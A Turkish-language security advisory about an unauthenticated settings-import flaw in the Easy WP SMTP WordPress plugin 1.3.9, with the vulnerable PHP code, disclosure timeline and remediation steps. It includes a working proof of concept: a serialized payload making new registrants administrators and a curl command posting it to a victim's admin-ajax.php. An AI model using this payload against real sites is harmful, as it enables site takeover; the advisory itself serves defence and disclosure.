Wordpress

WordPress Easy WP SMTP Zero-Day Güvenlik Açığı

+300.000’den fazla kurulumu gerçekleşen ve smtp eklentileri arasında popüler olan Easy WP SMTP eklentisinde kritik bir güvenlik açığı tespit edildi. Bu açık kimliği doğrulanmamış bir kullanıcınının WordPress seçeneklerini değiştirmesine veya diğer kötü niyetli eylemlerde bulunup kod enjekte etmesine , yürütmesine izin vermektedir. Easy WP SMTP Sürüm v.1.3.9’da bulunan güvenlik açığı, bilgisayar korsanları tarafından 15 Mart tarihinden beri istismar edilmiş ve WordPress için Web Uygulama Güvenlik Duvarı olan NinjaFirewall WP Sürümü tarafından tespit edilmiştir .

 

add_action( 'admin_init', array( $this, 'admin_init' ) );
...
...
function admin_init() {
	if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
		 add_action( 'wp_ajax_swpsmtp_clear_log', array( $this, 'clear_log' ) );
		 add_action( 'wp_ajax_swpsmtp_self_destruct', array( $this, 'self_destruct_handler' ) );
	}

	//view log file
	if ( isset( $_GET[ 'swpsmtp_action' ] ) ) {
	    if ( $_GET[ 'swpsmtp_action' ] === 'view_log' ) {
		$log_file_name = $this->opts[ 'smtp_settings' ][ 'log_file_name' ];
		if ( ! file_exists( plugin_dir_path( __FILE__ ) . $log_file_name ) ) {
		    if ( $this->log( "Easy WP SMTP debug log file\r\n\r\n" ) === false ) {
			wp_die( 'Can\'t write to log file. Check if plugin directory  (' . plugin_dir_path( __FILE__ ) . ') is writeable.' );
		    };
		}
		$logfile = fopen( plugin_dir_path( __FILE__ ) . $log_file_name, 'rb' );
		if ( ! $logfile ) {
		    wp_die( 'Can\'t open log file.' );
		}
		header( 'Content-Type: text/plain' );
		fpassthru( $logfile );
		die;
	    }
	}

	//check if this is export settings request
	$is_export_settings = filter_input( INPUT_POST, 'swpsmtp_export_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_export_settings ) {
	    $data					 = array();
	    $opts					 = get_option( 'swpsmtp_options', array() );
	    $data[ 'swpsmtp_options' ]		 = $opts;
	    $swpsmtp_pass_encrypted			 = get_option( 'swpsmtp_pass_encrypted', false );
	    $data[ 'swpsmtp_pass_encrypted' ]	 = $swpsmtp_pass_encrypted;
	    if ( $swpsmtp_pass_encrypted ) {
		$swpsmtp_enc_key		 = get_option( 'swpsmtp_enc_key', false );
		$data[ 'swpsmtp_enc_key' ]	 = $swpsmtp_enc_key;
	    }
	    $smtp_test_mail			 = get_option( 'smtp_test_mail', array() );
	    $data[ 'smtp_test_mail' ]	 = $smtp_test_mail;
	    $out				 = array();
	    $out[ 'data' ]			 = serialize( $data );
	    $out[ 'ver' ]			 = 1;
	    $out[ 'checksum' ]		 = md5( $out[ 'data' ] );

	    $filename = 'easy_wp_smtp_settings.txt';
	    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
	    header( 'Content-Type: text/plain' );
	    echo serialize( $out );
	    exit;
	}

	$is_import_settings = filter_input( INPUT_POST, 'swpsmtp_import_settings', FILTER_SANITIZE_NUMBER_INT );
	if ( $is_import_settings ) {
		 $err_msg = __( 'Error occurred during settings import', 'easy-wp-smtp' );
		 if ( empty( $_FILES[ 'swpsmtp_import_settings_file' ] ) ) {
			echo $err_msg;
			wp_die();
		}
		$in_raw = file_get_contents( $_FILES[ 'swpsmtp_import_settings_file' ][ 'tmp_name' ] );
		try {
			$in = unserialize( $in_raw );
			if ( empty( $in[ 'data' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( empty( $in[ 'checksum' ] ) ) {
				 echo $err_msg;
				 wp_die();
			}
			if ( md5( $in[ 'data' ] ) !== $in[ 'checksum' ] ) {
				 echo $err_msg;
				 wp_die();
			}
			$data = unserialize( $in[ 'data' ] );
			foreach ( $data as $key => $value ) {
				 update_option( $key, $value );
			}
			set_transient( 'easy_wp_smtp_settings_import_success', true, 60 * 60 );
			$url = admin_url() . 'options-general.php?page=swpsmtp_settings';
			wp_safe_redirect( $url );
			exit;
		} catch ( Exception $ex ) {
			echo $err_msg;
			wp_die();
		}
	}
}

Komut dosyasındaki yukarıdaki admin_init() işlevi, bir kullanıcı yönetici alanına eriştiğinde kanca easy-wp-smtp.php ile çalıştırılır admin_init. Günlüğü görüntülemek / silmek, eklenti yapılandırmasını içe / dışa aktarmak ve WordPress veritabanındaki seçenekleri güncellemek için kullanılır. Kullanıcı kapasitesini kontrol etmez, dolayısıyla abone gibi giriş yapmış herhangi bir kullanıcı bunu tetikleyebilir. Ancak, kimliği doğrulanmamış kullanıcılar tarafından da gerçekleştirilebilir, çünkü Easy WP SMTP, AJAX’ı kullanır ve admin_init kanca, WordPress API belgesinde belirtildiği gibi admin-ajax.php üzerinde de çalışır:

Not, bu yalnızca kullanıcının karşılaştığı yönetici ekranlarında çalışmaz. Admin-ajax.php ve admin-post.php ile de çalışır.

Bu nedenle, kimliği doğrulanmamış bir kullanıcı action=swpsmtp_clear_log, yukarıdaki işlevi tetiklemek ve kodunu çalıştırmak için bir AJAX talebi gönderebilir.

Hack olayının ispati :

Aşağıdaki kavram kanıtında, swpsmtp_import_settings kullanıcıların kaydını ( users_can_register) ve kullanıcının varsayılan rolünü ( default_role) veritabanında “yönetici” olarak ayarlayabilecek, kötü niyetli bir seri hale getirilmiş veri yükü içerecek bir dosyayı yüklemek için kullanacağım.

1. “/tmp/upload.txt” bir dosya adı oluşturun ve bu içeriği ona ekleyin:

a:2:{s:4:"data";s:81:"a:2:{s:18:"users_can_register";s:1:"1";s:12:"default_role";s:13:"administrator";}";s:8:"checksum";s:32:"3ce5fb6d7b1dbd6252f4b5b3526650c8";}

2. Dosyayı yükleyin:

$ curl https://VICTIM.COM/wp-admin/admin-ajax.php -F 'action=swpsmtp_clear_log' -F 'swpsmtp_import_settings=1' -F 'swpsmtp_import_settings_file=@/tmp/upload.txt'

Diğer güvenlik açıklarından yararlanılabilir:

  • Easy WP SMTP güvensiz unserialize()aramaları kullandığı için PHP Nesne Enjeksiyonu ile Uzaktan Kod Yürütme .
  • Günlüğü görüntüleme / silme
  • SMTP ana bilgisayarını, kullanıcı adını ve şifreyi içeren eklenti yapılandırmasını dışa aktarmak ve spam e-postaları göndermek için kullanmak.

İlginçtir ki, güvenlik duvarımız tarafından 15 Mart’ta yakalanan tüm girişimler, bilgisayar korsanlarının wp_user_roles, veritabanındaki WordPress seçeneğinin içeriğini değiştirmek için güvenlik açığından yararlanmaya ve tüm kullanıcılara yönetici yetenekleri vermeye çalıştığını gösterdi . WordPress “Kullanıcılar” bölümünde kolayca tespit edilebilecek bir yönetici hesabı oluşturmanın aksine, yetenekleri değiştirmek pek fark edilemez, yani basit bir abone bir abone olarak görünmeye devam eder, ancak bir yöneticinin yapabileceği her şeyi yapabilir.

Zaman çizelgesi

15 Mart tarihinde yazarlara ve wordpress.org ekibine karşı güvenlik açığı olduğunu ve 17 Mart’ta yeni bir 1.3.9.1 sürümü çıktığını bildirdik.

Tavsiyeler :

1.3.9 sürümünü hala kullanıyorsanız, mümkün olan en kısa sürede güncelleyin.

WordPress için Web uygulaması güvenlik duvarı olan NinjaFirewall WP Edition (ücretsiz) veya NinjaFirewall WP + Edition (premium) kullanıyorsanız, bu güvenlik açığına karşı otomatik olarak korunursunuz.

Eğer Easy WP SMTP’nin savunmasız sürümünü kullanıyorsanız, bazı ek tavsiyeler:

  • WordPress “Ayarlar> Genel” sayfanızı kontrol edin: Hiçbir şeyin tahrip edilmediğinden emin olun (URL, E-posta Adresi, Üyelik ve Yeni Kullanıcı Varsayılan Rolü).
  • WordPress “Kullanıcılar” sayfanızı kontrol edin: Yeni kullanıcılar, garip yönetici hesapları olup olmadığını kontrol edin. Yönetici e-posta adresinizi vb. bilgilerinizi kontrol edin.
  • Tüm admin ve yönetici şifrelerini değiştirin.
  • Veritabanındaki WordPress wp_options* tablonuzu kontrol edin ”: Kullanıcı rollerini ve yeteneklerini içeren wp_user_roles* kısmında değişiklik yapılmadığından emin olun . Ayrıca WordPress için ücretsiz NinjaScanner’ı da kullanabilirsiniz .
  • Dosyalarınızı da tarayın, bilgisayar korsanları arka kapıdan hosting hesabınıza veya wordpress dosyalarınızın arasına zararlı php dosyaları veya benzer dosyalar yüklemiş olabilir. Bu şekilde sizden habersiz uzaktan hesabınızda işlemler yapabilir.
  • SMTP şifrenizi ( mail şifrenizi ) değiştirin , bilgisayar korsanları mail şifrenizi çalmış olabilir.

Limitsiz Hosting

İlgili Makaleler